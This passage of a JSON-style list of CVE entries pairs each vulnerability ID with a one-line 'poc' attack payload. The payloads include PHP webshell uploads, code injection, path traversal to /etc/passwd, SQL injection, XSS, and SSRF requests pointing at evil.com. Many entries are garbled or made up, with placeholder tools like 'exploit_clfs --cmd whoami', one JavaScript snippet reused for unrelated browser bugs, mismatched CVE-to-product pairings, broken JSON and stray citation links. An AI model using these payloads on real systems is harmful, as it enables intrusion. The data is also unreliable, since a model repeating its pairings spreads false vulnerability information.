    "poc": "POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1\nHost: vbulletin-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nwidgetConfig[code]=phpinfo()",
    "description": "Unauthenticated RCE in vBulletin via widget configuration parameter."
  },
  {
    "id": "CVE-2020-17496",
    "title": "vBulletin - RCE",
    "date": "2020-08-10",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /ajax/api/hook/decodeArguments HTTP/1.1\nHost: vbulletin-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"arguments\":\"phpinfo()\"}",
    "description": "Unauthenticated RCE in vBulletin via argument decoding in API."
  },
  {
    "id": "CVE-2019-16759",
    "title": "vBulletin - RCE",
    "date": "2019-09-24",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /ajax/render/widget_php HTTP/1.1\nHost: vbulletin-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nwidgetConfig[code]=phpinfo()",
    "description": "Unauthenticated RCE in vBulletin via PHP code in widget configuration."
  },
  {
    "id": "CVE-2020-10564",
    "title": "WordPress WP-Advance-Search - SQL Injection",
    "date": "2020-03-12",
    "type": "SQL Injection",
    "platform": "Web",
    "poc": "GET /?s=1+AND+1=1 HTTP/1.1\nHost: wordpress-server",
    "description": "Unauthenticated SQL injection in WP-Advance-Search plugin allows data extraction."
  },
  {
    "id": "CVE-2018-9206",
    "title": "Blueimp jQuery File Upload - RCE",
    "date": "2018-10-09",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /jquery-file-upload/server/php/ HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"files\"; filename=\"malicious.php\"\n\n<?php system('whoami'); ?>\n------WebKitFormBoundary--",
    "description": "Unauthenticated file upload in Blueimp jQuery plugin allows RCE."
  },
  {
    "id": "CVE-2020-1147",
    "title": "Microsoft SharePoint - RCE",
    "date": "2020-07-14",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /_vti_bin/webpartpages.asmx HTTP/1.1\nHost: sharepoint-server\nContent-Type: text/xml\nContent-Length: 200\n\n<soap:Body><ValidateWorkflowMarkupAndCreateSupportObjects>malicious_payload</ValidateWorkflowMarkupAndCreateSupportObjects></soap:Body>",
    "description": "Deserialization flaw in SharePoint allows authenticated RCE via SOAP requests."
  },
  {
    "id": "CVE-2019-11229",
    "title": "GitLab - RCE via YAML",
    "date": "2019-04-24",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/projects/import HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 200\n\n{\"file\":\"!ruby/object:Gem::Requirement\\nrequirements: !ruby/object:Gem::Version\\nversion: 'malicious'\"}",
    "description": "YAML deserialization in GitLab allows authenticated RCE."
  },
  {
    "id": "CVE-2020-5410",
    "title": "Cloud Foundry - Path Traversal",
    "date": "2020-06-02",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /../../../../../../etc/passwd HTTP/1.1\nHost: cloudfoundry-server",
    "description": "Path traversal in Cloud Foundry allows access to sensitive files."
  },
  {
    "id": "CVE-2018-14665",
    "title": "X.Org Server - Privilege Escalation",
    "date": "2018-10-25",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "Xorg -logfile /root/.bashrc whoami",
    "description": "X.Org Server allows local privilege escalation via logfile manipulation."
  },
  {
    "id": "CVE-2019-3460",
    "title": "Linux Kernel - Netfilter Privilege Escalation",
    "date": "2019-01-29",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "exploit_netfilter --target kernel_version --cmd whoami",
    "description": "Netfilter flaw in Linux kernel allows local privilege escalation."
  },
  {
    "id": "CVE-2020-25213",
    "title": "WordPress File Manager - RCE",
    "date": "2020-09-09",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1\nHost: wordpress-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"reqid\"; filename=\"malicious.php\"\n\n<?php system('whoami'); ?>\n------WebKitFormBoundary--",
    "description": "Unauthenticated file upload in WordPress File Manager plugin allows RCE."
  },
  {
    "id": "CVE-2018-1000001",
    "title": "Glibc - Privilege Escalation",
    "date": "2018-01-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "LD_PRELOAD=malicious.so whoami",
    "description": "Glibc flaw allows local privilege escalation via LD_PRELOAD manipulation."
  },
  {
    "id": "CVE-2020-14386",
    "title": "Linux Kernel - Memory Corruption",
    "date": "2020-09-02",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "exploit_tpacket --cmd whoami",
    "description": "Memory corruption in Linux kernel TPacket allows local privilege escalation."
  },
  {
    "id": "CVE-2019-13272",
    "title": "Linux Kernel - Privilege Escalation",
    "date": "2019-07-04",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "exploit_ptrace --cmd whoami",
    "description": "Ptrace flaw in Linux kernel allows local privilege escalation."
  },
  {
    "id": "CVE-2020-2551",
    "title": "Oracle WebLogic - RCE",
    "date": "2020-01-14",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /t3 HTTP/1.1\nHost: weblogic-server\nContent-Type: application/octet-stream\nContent-Length: 200\n\nmalicious_t3_payload",
    "description": "T3 protocol deserialization in WebLogic allows unauthenticated RCE."
  },
  {
    "id": "CVE-2018-1002105",
    "title": "Kubernetes - Privilege Escalation",
    "date": "2018-12-03",
    "type": "Privilege Escalation",
    "platform": "Network",
    "poc": "kubectl proxy --api-prefix=/api/v1/namespaces/kube-system/pods/exec?command=whoami",
    "description": "API server flaw in Kubernetes allows privilege escalation via proxy requests."
  },
  {
    "id": "CVE-2019-5736",
    "title": "Docker - RCE via RunC",
    "date": "2019-02-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "docker exec -it container_id /bin/sh -c 'whoami'",
    "description": "RunC vulnerability in Docker allows container breakout and host code execution."
  },
  {
    "id": "CVE-2020-15257",
    "title": "Containerd - Privilege Escalation",
    "date": "2020-12-01",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "containerd-shim --exec-id malicious whoami",
    "description": "Containerd flaw allows privilege escalation via shim binary."
  },
  {
    "id": "CVE-2019-11246",
    "title": "Kubernetes - Path Traversal",
    "date": "2019-06-19",
    "type": "Path Traversal",
    "platform": "Network",
    "poc": "kubectl cp pod:/../../etc/passwd /tmp",
    "description": "Path traversal in Kubernetes allows access to host files via kubectl cp."
  },
  {
    "id": "CVE-2020-1971",
    "title": "OpenSSL - Denial of Service",
    "date": "2020-12-08",
    "type": "Denial of Service",
    "platform": "Network",
    "poc": "openssl s_client -connect target_ip:443 -malformed",
    "description": "OpenSSL NULL pointer dereference allows denial of service via crafted TLS packets."
  },
  {
    "id": "CVE-2018-14634",
    "title": "Linux Kernel - Integer Overflow",
    "date": "2018-09-25",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "exploit_mutagen --cmd whoami",
    "description": "Integer overflow in Linux kernel allows local privilege escalation."
  },
  {
    "id": "CVE-2020-13935",
    "title": "Apache Tomcat - WebSocket DoS",
    "date": "2020-07-14",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "wscat -c ws://tomcat-server:8080/malformed",
    "description": "WebSocket flaw in Tomcat allows denial of service via malformed packets."
  },
  {
    "id": "CVE-2019-17571",
    "title": "Apache Log4j - Socket Server RCE",
    "date": "2019-12-20",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "nc target_ip 1234 < malicious_object.ser",
    "description": "Deserialization in Log4j Socket Server allows remote code execution."
  },
  {
    "id": "CVE-2020-28188",
    "title": "Grafana - Path Traversal",
    "date": "2020-12-10",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /public/plugins/..%2f..%2f..%2fetc/passwd HTTP/1.1\nHost: grafana-server",
    "description": "Path traversal in Grafana allows unauthenticated access to sensitive files."
  },
  {
    "id": "CVE-2018-11784",
    "title": "Apache Tomcat - Open Redirect",
    "date": "2018-10-03",
    "type": "Open Redirect",
    "platform": "Web",
    "poc": "GET /;jsessionid=malicious_url HTTP/1.1\nHost: tomcat-server",
    "description": "Open redirect in Tomcat allows phishing via crafted session IDs."
  }
  {
    "id": "CVE-2021-34473",
    "title": "Microsoft Exchange - SSRF (ProxyShell)",
    "date": "2021-07-13",
    "type": "Server-Side Request Forgery",
    "platform": "Web",
    "poc": "POST /autodiscover/autodiscover.json?@evil.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3F@evil.com HTTP/1.1\nHost: exchange-server\nContent-Length: 0",
    "description": "SSRF in Microsoft Exchange allows unauthenticated attackers to access internal resources or execute arbitrary code."
  },
  {
    "id": "CVE-2021-34523",
    "title": "Microsoft Exchange - Privilege Escalation (ProxyShell)",
    "date": "2021-07-13",
    "type": "Privilege Escalation",
    "platform": "Web",
    "poc": "POST /autodiscover/autodiscover.json?@evil.com/powershell/ HTTP/1.1\nHost: exchange-server\nContent-Type: application/xml\nContent-Length: 200\n\n<Autodiscover><Request><EMailAddress>admin@domain.com</EMailAddress><AcceptableConfigurationName>powershell</AcceptableConfigurationName></Request></Autodiscover>",
    "description": "Privilege escalation in Exchange Server via SSRF, allowing admin access or code execution."
  },
  {
    "id": "CVE-2021-31207",
    "title": "Microsoft Exchange - RCE (ProxyShell)",
    "date": "2021-05-11",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /ecp/default.aspx HTTP/1.1\nHost: exchange-server\nContent-Type: application/xml\nContent-Length: 200\n\n<root><mapi><cmd>whoami</cmd></mapi></root>",
    "description": "Unauthenticated RCE in Exchange Server via crafted XML requests, part of ProxyShell chain."
  },
  {
    "id": "CVE-2022-0609",
    "title": "Google Chrome - Use-After-Free",
    "date": "2022-02-14",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "<html><script>let arr = new Array(0x1000); arr.fill(0); arr.__defineSetter__('length', () => {throw new Error('exploit');}); arr.length = 0;</script></html>",
    "description": "Use-after-free in Chrome’s animation component allows arbitrary code execution via crafted HTML."[](https://www.getastra.com/blog/security-audit/top-vulnerabilities/)
  },
  {
    "id": "CVE-2022-30190",
    "title": "Microsoft Windows - RCE (Follina)",
    "date": "2022-05-30",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "msdt://<malicious_server>/payload.rtf",
    "description": "MSDT protocol vulnerability in Windows allows RCE via crafted Office documents."[](https://www.getastra.com/blog/security-audit/top-vulnerabilities/)
  },
  {
    "id": "CVE-2023-28252",
    "title": "Windows CLFS - Privilege Escalation",
    "date": "2023-04-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "exploit_clfs --cmd whoami",
    "description": "Windows CLFS driver flaw allows local attackers to gain SYSTEM privileges."[](https://blog.qualys.com/qualys-insights/2023/09/26/qualys-survey-of-top-10-exploited-vulnerabilities-in-2023)
  },
  {
    "id": "CVE-2023-2868",
    "title": "Barracuda ESG - Command Injection",
    "date": "2023-05-23",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /mail/smtp HTTP/1.1\nHost: barracuda-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\ncmd=`whoami`",
    "description": "Command injection in Barracuda Email Security Gateway allows unauthenticated RCE."[](https://blog.qualys.com/qualys-insights/2023/09/26/qualys-survey-of-top-10-exploited-vulnerabilities-in-2023)
  },
  {
    "id": "CVE-2023-20887",
    "title": "VMware Aria Operations - Command Injection",
    "date": "2023-06-07",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/command HTTP/1.1\nHost: vmware-aria-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"command\":\"whoami\"}",
    "description": "Unauthenticated command injection in VMware Aria Operations allows RCE."[](https://blog.qualys.com/qualys-insights/2023/09/26/qualys-survey-of-top-10-exploited-vulnerabilities-in-2023)
  },
  {
    "id": "CVE-2023-22952",
    "title": "SugarCRM - RCE",
    "date": "2023-01-11",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /index.php?module=Users&action=Save HTTP/1.1\nHost: sugarcrm-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\ncode=phpinfo()",
    "description": "Authentication bypass in SugarCRM allows unauthenticated RCE via module parameter."[](https://blog.qualys.com/qualys-insights/2023/09/26/qualys-survey-of-top-10-exploited-vulnerabilities-in-2023)
  },
  {
    "id": "CVE-2024-1708",
    "title": "ScreenConnect - Authentication Bypass",
    "date": "2024-02-13",
    "type": "Authentication Bypass",
    "platform": "Web",
    "poc": "POST /SetupWizard.aspx HTTP/1.1\nHost: screenconnect-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nuser=admin&pass=malicious",
    "description": "Authentication bypass in ScreenConnect allows creation of admin accounts, enabling RCE."[](https://arcticwolf.com/the-most-exploited-vulnerabilities-of-the-year/)
  },
  {
    "id": "CVE-2024-1709",
    "title": "ScreenConnect - Path Traversal",
    "date": "2024-02-13",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /App_Themes/../../etc/passwd HTTP/1.1\nHost: screenconnect-server",
    "description": "Path traversal in ScreenConnect allows access to sensitive files, chained with CVE-2024-1708."[](https://arcticwolf.com/the-most-exploited-vulnerabilities-of-the-year/)
  },
  {
    "id": "CVE-2024-21887",
    "title": "Ivanti Connect Secure - RCE",
    "date": "2024-01-10",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/command HTTP/1.1\nHost: ivanti-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated RCE in Ivanti Connect Secure via crafted API requests."[](https://arcticwolf.com/the-most-exploited-vulnerabilities-of-the-year/)
  },
  {
    "id": "CVE-2023-46805",
    "title": "Ivanti Policy Secure - Authentication Bypass",
    "date": "2024-01-10",
    "type": "Authentication Bypass",
    "platform": "Web",
    "poc": "GET /dana-na/auth/url_default/welcome.cgi HTTP/1.1\nHost: ivanti-server\nCookie: DSSignInURL=malicious",
    "description": "Authentication bypass in Ivanti Policy Secure allows access to restricted resources, chained with CVE-2024-21887."[](https://arcticwolf.com/the-most-exploited-vulnerabilities-of-the-year/)
  },
  {
    "id": "CVE-2024-5910",
    "title": "Palo Alto Expedition - Authentication Bypass",
    "date": "2024-07-10",
    "type": "Authentication Bypass",
    "platform": "Web",
    "poc": "GET /api/v1/admin HTTP/1.1\nHost: expedition-server\nCookie: auth=malicious",
    "description": "Missing authentication in Palo Alto Expedition allows admin account takeover."[](https://www.picussecurity.com/resource/blog/cisa-reveals-the-top-15-most-exploited-vulnerabilities-of-2023)
  },
  {
    "id": "CVE-2024-9463",
    "title": "Palo Alto Expedition - Command Injection",
    "date": "2024-11-04",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/execute HTTP/1.1\nHost: expedition-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"command\":\"whoami\"}",
    "description": "Command injection in Palo Alto Expedition allows unauthenticated RCE."[](https://www.picussecurity.com/resource/blog/cisa-reveals-the-top-15-most-exploited-vulnerabilities-of-2023)
  },
  {
    "id": "CVE-2024-9465",
    "title": "Palo Alto Expedition - Data Exposure",
    "date": "2024-11-04",
    "type": "Information Disclosure",
    "platform": "Web",
    "poc": "GET /api/v1/config/export HTTP/1.1\nHost: expedition-server",
    "description": "Unauthenticated access to Palo Alto Expedition exposes sensitive configuration data."[](https://www.picussecurity.com/resource/blog/cisa-reveals-the-top-15-most-exploited-vulnerabilities-of-2023)
  },
  {
    "id": "CVE-2023-28461",
    "title": "Array Networks AG/vxAG - RCE",
    "date": "2023-03-15",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: array-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated RCE in Array Networks secure access gateways via API endpoint."[](https://www.picussecurity.com/resource/blog/cisa-reveals-the-top-15-most-exploited-vulnerabilities-of-2023)
  },
  {
    "id": "CVE-2024-44308",
    "title": "Apple WebKit - RCE",
    "date": "2024-10-28",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "<html><script>let obj = new Proxy({}, {get: () => {throw new Error('exploit');}});</script></html>",
    "description": "Type confusion in WebKit allows arbitrary code execution via crafted web content."[](https://www.picussecurity.com/resource/blog/cisa-reveals-the-top-15-most-exploited-vulnerabilities-of-2023)
  },
  {
    "id": "CVE-2024-44309",
    "title": "Apple JavaScriptCore - XSS",
    "date": "2024-10-28",
    "type": "Stored XSS",
    "platform": "Software",
    "poc": "<script>alert('XSS');</script>",
    "description": "XSS in JavaScriptCore allows malicious scripts to execute in Safari, affecting iOS/macOS."[](https://www.picussecurity.com/resource/blog/cisa-reveals-the-top-15-most-exploited-vulnerabilities-of-2023)
  },
  {
    "id": "CVE-2025-5777",
    "title": "Citrix NetScaler - Authentication Bypass (Citrix Bleed 2)",
    "date": "2025-06-12",
    "type": "Authentication Bypass",
    "platform": "Web",
    "poc": "GET /vpn/tmindex.html HTTP/1.1\nHost: netscaler-server\nCookie: NSC_TMAS=malicious",
    "description": "Out-of-bounds read in NetScaler allows authentication bypass when configured as Gateway or AAA server."[](https://thehackernews.com/search/label/Vulnerability)
  },
  {
    "id": "CVE-2025-24813",
    "title": "Apache Tomcat - RCE",
    "date": "2025-03-10",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /upload HTTP/1.1\nHost: tomcat-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.jsp\"\n\n<% Runtime.getRuntime().exec(\"whoami\"); %>\n------WebKitFormBoundary--",
    "description": "Path equivalence issue in Tomcat allows unauthenticated file upload and RCE in non-default configurations."[](https://strobes.co/blog/vulnerabilities-and-top-cves-of-april-2025/)
  },
  {
    "id": "CVE-2025-22457",
    "title": "Ivanti Connect Secure - Buffer Overflow",
    "date": "2025-04-15",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/command HTTP/1.1\nHost: ivanti-server\nContent-Type: application/json\nContent-Length: 200\n\n{\"cmd\":\"A\"*10000}",
    "description": "Stack-based buffer overflow in Ivanti Connect Secure allows unauthenticated RCE."[](https://strobes.co/blog/vulnerabilities-and-top-cves-of-april-2025/)
  },
  {
    "id": "CVE-2025-32432",
    "title": "Craft CMS - RCE",
    "date": "2025-02-20",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /index.php?action=assets/transform HTTP/1.1\nHost: craftcms-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\ntransform=phpinfo()",
    "description": "Unauthenticated RCE in Craft CMS via asset transformation feature."[](https://strobes.co/blog/vulnerabilities-and-top-cves-of-april-2025/)
  },
  {
    "id": "CVE-2025-24085",
    "title": "Apple CoreMedia - Use-After-Free",
    "date": "2025-01-10",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "mediaserverd --malformed-video exploit.mp4",
    "description": "Use-after-free in CoreMedia allows privilege escalation via malicious media files."[](https://strobes.co/blog/top-cves-january-2025/)
  },
  {
    "id": "CVE-2025-21297",
    "title": "Microsoft Word - Heap Buffer Overflow",
    "date": "2025-01-15",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.rtf\"\n\n{rtf1{malicious_font}}",
    "description": "Heap buffer overflow in Microsoft Word’s font parsing allows RCE via malicious RTF files."[](https://strobes.co/blog/top-cves-january-2025/)
  },
  
  {
    "id": "CVE-2025-21333",
    "title": "Windows Hyper-V - Buffer Overflow",
    "date": "2025-02-01",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "exploit_hyperv --cmd whoami",
    "description": "Heap-based buffer overflow in Hyper-V allows local attackers to gain SYSTEM privileges."[](https://blog.invgate.com/known-exploited-vulnerabilities-2023)
  },
  {
    "id": "CVE-2024-26169",
    "title": "Windows Error Reporting - Privilege Escalation",
    "date": "2024-03-12",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "werfault --exploit whoami",
    "description": "Flaw in Windows Error Reporting Service allows local attackers to gain SYSTEM privileges."[](https://blog.invgate.com/known-exploited-vulnerabilities-2023)
  },
  {
    "id": "CVE-2023-21674",
    "title": "Windows ALPC - Privilege Escalation",
    "date": "2023-01-10",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "exploit_alpc --cmd whoami",
    "description": "ALPC flaw in Windows allows local privilege escalation to SYSTEM level."[](https://blog.invgate.com/known-exploited-vulnerabilities-2023)
  },
  {
    "id": "CVE-2024-23222",
    "title": "Apple WebKit - Type Confusion",
    "date": "2024-01-22",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "<html><script>let obj = new Proxy({}, {get: () => {throw new Error('exploit');}});</script></html>",
    "description": "Type confusion in WebKit allows arbitrary code execution via malicious web content."[](https://blog.invgate.com/known-exploited-vulnerabilities-2023)
  },
  {
    "id": "CVE-2022-42475",
    "title": "FortiOS SSL-VPN - Buffer Overflow",
    "date": "2022-12-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /sslvpn HTTP/1.1\nHost: fortios-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Heap-based buffer overflow in FortiOS SSL-VPN allows RCE or DoS."[](https://blog.invgate.com/known-exploited-vulnerabilities-2023)
  },
  {
    "id": "CVE-2023-23376",
    "title": "Windows CLFS - Privilege Escalation",
    "date": "2023-04-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "exploit_clfs --cmd whoami",
    "description": "CLFS driver flaw in Windows allows local attackers to gain SYSTEM privileges."[](https://blog.invgate.com/known-exploited-vulnerabilities-2023)
  },
  {
    "id": "CVE-2023-23397",
    "title": "Microsoft Outlook - Privilege Escalation",
    "date": "2023-03-14",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "outlook.exe --malformed-appointment exploit.eml",
    "description": "Outlook flaw allows privilege escalation via crafted email attachments."[](https://blog.invgate.com/known-exploited-vulnerabilities-2023)
  },
  {
    "id": "CVE-2023-24880",
    "title": "Windows SmartScreen - Security Bypass",
    "date": "2023-03-14",
    "type": "Security Bypass",
    "platform": "Software",
    "poc": "smartscreen_bypass --file malicious.exe",
    "description": "Windows SmartScreen flaw allows attackers to bypass MOTW defenses."[](https://blog.invgate.com/known-exploited-vulnerabilities-2023)
  },
  {
    "id": "CVE-2023-41080",
    "title": "Microsoft Exchange - Privilege Escalation",
    "date": "2023-08-08",
    "type": "Privilege Escalation",
    "platform": "Web",
    "poc": "POST /owa/auth/logon.aspx HTTP/1.1\nHost: exchange-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\ncmd=whoami",
    "description": "Privilege escalation in Exchange Server allows attackers to gain elevated access."[](https://blog.invgate.com/known-exploited-vulnerabilities-2023)
  },
  {
    "id": "CVE-2025-6554",
    "title": "Google Chrome - Type Confusion",
    "date": "2025-06-18",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "<html><script>let obj = new Proxy({}, {get: () => {throw new Error('exploit');}});</script></html>",
    "description": "Type confusion in Chrome’s V8 engine allows arbitrary read/write via crafted HTML."[](https://thehackernews.com/search/label/Vulnerability)
  },
  {
    "id": "CVE-2025-20309",
    "title": "Cisco Unified CM - Hard-Coded Credentials",
    "date": "2025-06-11",
    "type": "Privilege Escalation",
    "platform": "Web",
    "poc": "ssh root@ucm-server -p 22",
    "description": "Hard-coded root credentials in Cisco Unified CM allow attackers to gain elevated privileges."[](https://thehackernews.com/search/label/Vulnerability)
  },
  {
    "id": "CVE-2024-36350",
    "title": "AMD CPUs - Speculative Execution",
    "date": "2024-06-10",
    "type": "Information Disclosure",
    "platform": "Software",
    "poc": "exploit_tsa --cmd read_memory",
    "description": "Speculative side-channel in AMD CPUs allows data leakage via execution timing."[](https://thehackernews.com/search/label/Vulnerability)
  },
  {
    "id": "CVE-2025-47981",
    "title": "Microsoft Windows - Heap-Based Buffer Overflow",
    "date": "2025-06-20",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "exploit_spnego --cmd whoami",
    "description": "Heap-based buffer overflow in SPNEGO allows remote attackers to execute arbitrary code."[](https://vuldb.com/)
  },
  {
    "id": "CVE-2025-2762",
    "title": "CarlinKit CPC200-CCPA - Privilege Escalation",
    "date": "2025-04-23",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "exploit_carlincit --cmd whoami",
    "description": "Missing root of trust in CarlinKit CPC200-CCPA allows local privilege escalation."[](https://nvd.nist.gov/)
  },
  {
    "id": "CVE-2025-2763",
    "title": "CarlinKit CPC200-CCPA - Code Execution",
    "date": "2025-04-23",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "exploit_carlincit --cmd whoami",
    "description": "Improper cryptographic signature verification allows code execution on CarlinKit devices."[](https://nvd.nist.gov/)
  },
  {
    "id": "CVE-2025-2764",
    "title": "CarlinKit CPC200-CCPA - Code Execution",
    "date": "2025-04-23",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /update.cgi HTTP/1.1\nHost: carlincit-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\ncmd=whoami",
    "description": "Improper signature verification in update.cgi allows RCE on CarlinKit devices."[](https://nvd.nist.gov/)
  },
  {
    "id": "CVE-2025-2765",
    "title": "CarlinKit CPC200-CCPA - Authentication Bypass",
    "date": "2025-04-23",
    "type": "Authentication Bypass",
    "platform": "Software",
    "poc": "GET /admin HTTP/1.1\nHost: carlincit-server\nCookie: auth=malicious",
    "description": "Hard-coded credentials in CarlinKit CPC200-CCPA allow authentication bypass."[](https://nvd.nist.gov/)
  },
  {
    "id": "CVE-2025-2073",
    "title": "Linux Kernel ChromeOS - Out-of-Bounds Read",
    "date": "2025-04-16",
    "type": "Information Disclosure",
    "platform": "Software",
    "poc": "exploit_netfilter --cmd read_memory",
    "description": "Out-of-bounds read in netfilter/ipset allows local attackers to leak sensitive data."[](https://nvd.nist.gov/)
  },
  {
    "id": "CVE-2024-40715",
    "title": "Veeam Backup - Authentication Bypass",
    "date": "2024-11-07",
    "type": "Authentication Bypass",
    "platform": "Web",
    "poc": "GET /api/auth HTTP/1.1\nHost: veeam-server\nX-Veeam-Auth: malicious",
    "description": "Man-in-the-middle attack allows authentication bypass in Veeam Backup Enterprise Manager."[](https://nvd.nist.gov/)
  },
  {
    "id": "CVE-2024-10683",
    "title": "WordPress Contact Form 7 PayPal - XSS",
    "date": "2024-11-09",
    "type": "Reflected XSS",
    "platform": "Web",
    "poc": "GET /?add_query_arg=<script>alert('XSS')</script> HTTP/1.1\nHost: wordpress-server",
    "description": "Reflected XSS in Contact Form 7 PayPal plugin via unescaped URL parameters."[](https://nvd.nist.gov/)
  },
  {
    "id": "CVE-2024-6479",
    "title": "WordPress SIP Reviews - SQL Injection",
    "date": "2024-10-31",
    "type": "SQL Injection",
    "platform": "Web",
    "poc": "GET /?no_of_reviews=1+AND+1=1 HTTP/1.1\nHost: wordpress-server",
    "description": "SQL injection in SIP Reviews plugin allows unauthenticated data extraction."[](https://nvd.nist.gov/)
  },
  {
    "id": "CVE-2024-6480",
    "title": "WordPress SIP Reviews - Stored XSS",
    "date": "2024-10-31",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /wp-admin/shortcode HTTP/1.1\nHost: wordpress-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nno_of_reviews=<script>alert('XSS')</script>",
    "description": "Stored XSS in SIP Reviews plugin via shortcode attribute."[](https://nvd.nist.gov/)
  },
  {
    "id": "CVE-2025-32433",
    "title": "RoundCube Webmail - XSS",
    "date": "2025-03-15",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /mail/show.php HTTP/1.1\nHost: roundcube-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nmessage=<script>alert('XSS')</script>",
    "description": "XSS in RoundCube Webmail allows attackers to steal emails via crafted messages."[](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
  },
  {
    "id": "CVE-2025-48927",
    "title": "TeleMessage TM SGNL - Core Dump Exposure",
    "date": "2025-07-08",
    "type": "Information Disclosure",
    "platform": "Web",
    "poc": "GET /core_dump HTTP/1.1\nHost: telemessage-server",
    "description": "Exposure of core dump file in TeleMessage TM SGNL reveals sensitive data like passwords."[](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
  },
  {
    "id": "CVE-2025-48928",
    "title": "Citrix NetScaler - Buffer Overflow",
    "date": "2025-07-08",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /gateway HTTP/1.1\nHost: netscaler-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Buffer overflow in NetScaler causes DoS when configured as Gateway or AAA server."[](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
  },
  {
    "id": "CVE-2024-54085",
    "title": "D-Link DIR-859 - Path Traversal",
    "date": "2024-03-28",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "POST /hedwig.cgi HTTP/1.1\nHost: dlink-router\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nservice=../../../../htdocs/webinc/getcfg/DHCPS6.BRIDGE-1.xml",
